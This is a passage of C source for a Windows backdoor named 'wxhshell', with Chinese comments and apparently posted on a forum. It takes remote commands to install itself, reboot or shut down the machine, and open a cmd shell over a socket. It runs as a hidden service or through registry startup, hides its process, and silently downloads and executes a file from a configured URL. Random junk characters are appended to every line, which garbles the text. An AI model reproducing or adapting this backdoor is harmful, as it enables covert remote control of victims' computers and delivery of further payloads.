  // 帮助 )>5k'1  
  case '?': { u/c3omY"#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]Hy PJ  
    break; ]/Qy1,  
  } MwqT`;lb  
  // 安装 a[g|APZz  
  case 'i': { CZRo{2!?U  
    if(Install()) \Egc5{   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X", 0VO  
    else ;w(1Ydo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D])YP0|}  
    break; =>\-ma+  
    } /+`<X%^U  
  // 卸载 {taVAcb  
  case 'r': { 8G] m7Z  
    if(Uninstall()) GTe:k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  ca*[n~np  
    else yGG B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vcO`j<`  
    break; ko2j|*D6@~  
    } }k0-?_Z=1  
  // 显示 wxhshell 所在路径 $uK"@Mw  
  case 'p': { */y]!<\v!k  
    char svExeFile[MAX_PATH]; fbTw6Fde$  
    strcpy(svExeFile,"\n\r"); dHF$T33It  
      strcat(svExeFile,ExeFile); jZT :-w  
        send(wsh,svExeFile,strlen(svExeFile),0); 2 RUR=%C  
    break; e)dWa'2<  
    } ?VP!1O=J  
  // 重启 / &D$kxz  
  case 'b': { \R\@t] >Y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L2.`1Aag  
    if(Boot(REBOOT)) k5;Vl0Ho  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KI@    
    else { xf"5<PTW</  
    closesocket(wsh); 6.h   
    ExitThread(0); 7Ljj#!`lUp  
    } =/JF-#n/MA  
    break; 6y,P4O*q  
    } _s^:zPl  
  // 关机  L|lmStwe  
  case 'd': { O& %"F8B  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); oXlxPN39  
    if(Boot(SHUTDOWN)) _ c ]3nzIr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 66@3$P%1p  
    else { s7nX\:Bw:  
    closesocket(wsh); 9me}&Fdr  
    ExitThread(0); 1~5q:X  
    } H4'DL'83  
    break; ''OInfd?  
    } wYO"znd  
  // 获取shell b}Hl$V(uD  
  case 's': { t)gi.Ed1"L  
    CmdShell(wsh); yC 7Vb P  
    closesocket(wsh); QK!:q{  
    ExitThread(0); lAn+gDP  
    break; Q|= Q]$d  
  } G9n /S=R?  
  // 退出 =PFR{=F  
  case 'x': { nOal7BNN  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b?]ly(  
    CloseIt(wsh); yvoo M'R  
    break; "vOfAo]`  
    } `,Y[Z  
  // 离开 0YpiHoM  
  case 'q': { Yl&tkSw46  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); FfxX)p1t  
    closesocket(wsh); SQt|(r)  
    WSACleanup(); wL-ydMIx  
    exit(1); _m7U-;G  
    break; grCO-S|j^  
        } (!VMnLlXRK  
  } xa{<R+LR  
  } _h1 HuL  
MO~~=]Y'  
  // 提示信息 ..]*Ao2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RJRq` T|m  
} ?#*  
  } v=*Bb3dt  
5&<d2EG6l'  
  return; 3cCK"kr  
} @UpC{M--Wr  
h-La'}>?  
// shell模块句柄 O[(?.9  
int CmdShell(SOCKET sock) RF4$  
{ \U!@OX.R'M  
STARTUPINFO si; Ac[|MBaF  
ZeroMemory(&si,sizeof(si)); S0N2rU  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (lN;xT`=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; p<HTJ0  
PROCESS_INFORMATION ProcessInfo; (~ ]g,*+  
char cmdline[]="cmd"; $K?T=a;z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )pjjW"C+  
  return 0; WXLe,7y  
} b$v[@"1  
ntj`+7mw  
// 自身启动模式 =|E 09  
int StartFromService(void) \m=-8KpU  
{ A \MfF  
typedef struct Hz]4AS  
{ *b Ci2mbm@  
  DWORD ExitStatus; a1g6}ym\  
  DWORD PebBaseAddress; VelB-vy&  
  DWORD AffinityMask; jcEs10y  
  DWORD BasePriority; f`hyYp`d5  
  ULONG UniqueProcessId; egI{!bZg'\  
  ULONG InheritedFromUniqueProcessId; ,pyQP^u-  
}   PROCESS_BASIC_INFORMATION; ~*7O(8  
Jt2,LL:G  
PROCNTQSIP NtQueryInformationProcess; /lLov.  
Vl{~@G,@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; t{R5 EU  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +X:J]- 1)  
K,eqD<  
  HANDLE             hProcess; Qj 6gg  
  PROCESS_BASIC_INFORMATION pbi; cc|CC Zl  
*.m{jgi1X  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); r"{Is?yKe  
  if(NULL == hInst ) return 0; 6kt]`H`cfJ  
\}$*}gW[}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); RDs,sj/Y9?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Y&vHOA  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); jDlA<1  
G;(onJz  
  if (!NtQueryInformationProcess) return 0; y$IaXr5L  
(O8,zqP9l  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L!;^ #g  
  if(!hProcess) return 0; C9<4~IM w  
45x,|h[F{5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; SkiJ pMN  
7fTxGm  
  CloseHandle(hProcess); 1@A7h$1P  
-|m$YrzG  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #_.g2 Y  
if(hProcess==NULL) return 0;  d?:`n 9`  
?. zu2  
HMODULE hMod; bK3B3r#$  
char procName[255]; |}_gA  
unsigned long cbNeeded; H1` rM^,%A  
\#PP8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B/jrYT$;m  
Ln ~4mN^  
  CloseHandle(hProcess); <1aa~duT  
uuu\f*<  
if(strstr(procName,"services")) return 1; // 以服务启动 Bu7A{DRf  
%6AYCN?Ih  
  return 0; // 注册表启动 UhsO\9}qH  
} 7dSh3f!  
(E!%v`_0  
// 主模块 |/@0~O(6  
int StartWxhshell(LPSTR lpCmdLine) A)8rk_92Q  
{ qE>i,|rP`  
  SOCKET wsl; |vv]Z(_  
BOOL val=TRUE; \). Nag+  
  int port=0; QT#b>xV)1  
  struct sockaddr_in door; y0,Ft/D  
<u0*"  
  if(wscfg.ws_autoins) Install(); 8)N0S% B  
c#=&!FRe  
port=atoi(lpCmdLine); X(IyvfC  
xb%/sz(4  
if(port<=0) port=wscfg.ws_port; Ay 2b,q  
uu}'i\Q  
  WSADATA data; 8{oZi]ob  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F4Rr26M  
);=Q] >  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   S#,+Z7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); x'@W=P 7   
  door.sin_family = AF_INET; R;WW f.#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q-[3j  
  door.sin_port = htons(port); a;%I\w;2  
5)w4)K-%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $u:<x  
closesocket(wsl); $nj\\,(g  
return 1; V]Sgx00;  
} ze&#i6S  
pg+b[7  
  if(listen(wsl,2) == INVALID_SOCKET) { '?5S"??  
closesocket(wsl); +6 ho)YL  
return 1; U<Vy>gIC  
} X1Qr _o-BR  
  Wxhshell(wsl); mIvnz{_d  
  WSACleanup(); mxgqS=`  
G(3;;F7"  
return 0; y>`5Kyj3-@  
}7%9}2}Iw  
} E-^2"j >o  
2SYKe$e  
// 以NT服务方式启动 EOhC6>ATh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [O\9 9>  
{ "9w}dQ  
DWORD   status = 0; &I%IaNco  
  DWORD   specificError = 0xfffffff; avg4K*vv  
^;+[8:Kb  
  serviceStatus.dwServiceType     = SERVICE_WIN32; K!p,x;YX  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \6{LR&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +s ULo  
  serviceStatus.dwWin32ExitCode     = 0; #G[t X6gU  
  serviceStatus.dwServiceSpecificExitCode = 0; ^+wk  
  serviceStatus.dwCheckPoint       = 0; "TfI+QgLF  
  serviceStatus.dwWaitHint       = 0; <KX&zi<L)  
i0\)%H:z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %yfE7UPS]  
  if (hServiceStatusHandle==0) return; Y3k[~A7X  
e gI&epN  
status = GetLastError(); 19p8B&  
  if (status!=NO_ERROR) uxb:^d?D!  
{ :5jexz."M  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;,k=<]  
    serviceStatus.dwCheckPoint       = 0; pl|h>4af  
    serviceStatus.dwWaitHint       = 0; 9p4y>3  
    serviceStatus.dwWin32ExitCode     = status; X &D{5~qC  
    serviceStatus.dwServiceSpecificExitCode = specificError; W2hA-1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )&:L'N  
    return; Jld\8=  
  } BKay*!'PX  
~ ltg  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `]jqQr97  
  serviceStatus.dwCheckPoint       = 0; o5SQ1;`   
  serviceStatus.dwWaitHint       = 0; J#''q"rZ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n}JPYu  
} 9Sz7\W0  
*}w+ 68eO  
// 处理NT服务事件,比如:启动、停止 LL.x11 o3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) IB8gDP2  
{ gqfDa cDJL  
switch(fdwControl) 6J\fF tB@V  
{ >La><.z~  
case SERVICE_CONTROL_STOP: |4fF T `  
  serviceStatus.dwWin32ExitCode = 0; 5]d{6Nc3P  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )S*1C@  
  serviceStatus.dwCheckPoint   = 0; <: :VCA%  
  serviceStatus.dwWaitHint     = 0; s1 bU  
  { hO3 {  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wo!;K|~P  
  } u h )o  
  return; !zR)D|w&  
case SERVICE_CONTROL_PAUSE: L5f$TLw h;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :RiF3h(  
  break; Ys3uPs  
case SERVICE_CONTROL_CONTINUE: 35_)3 R)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; s6n`?,vw  
  break; APq7 f8t  
case SERVICE_CONTROL_INTERROGATE: E{% SR  
  break; ,EI:gLH  
}; #K4*6LI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [Gtb+'8  
} O,'#C\   
E7`qmn  
// 标准应用程序主函数 "}zt`3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  q=4Bny0  
{ \k; n20\u  
<<,>S&/  
// 获取操作系统版本 mp1ttGUtM  
OsIsNt=GetOsVer(); QIK 9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `N'V#)Pi  
,[l`zp  
  // 从命令行安装 e<"/'Ql!k  
  if(strpbrk(lpCmdLine,"iI")) Install(); )%F5t&lum  
2w?hgNz  
  // 下载执行文件 vy9dAl  
if(wscfg.ws_downexe) { ]iVLHVqz  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) jn=:G+0  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ilq=wPD}j  
} R5(T([w'  
[E|uY]DR  
if(!OsIsNt) { fd1C {^c  
// 如果时win9x,隐藏进程并且设置为注册表启动 y}"7e)|t%  
HideProc(); /pykW_`/-  
StartWxhshell(lpCmdLine); |<c WllN  
} "HK/u(z)  
else B(,:haAr  
  if(StartFromService()) ue\t,*KYd  
  // 以服务方式启动 |8U;m:AS  
  StartServiceCtrlDispatcher(DispatchTable); B<,YPS8w  
else Z h'&-c_J  
  // 普通方式启动 bK*~ol  
  StartWxhshell(lpCmdLine); ^RNOcM|  
S|AjL Ng#  
return 0; O|'1B>X  
}
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只看该作者 1 发表于: 2006-10-10
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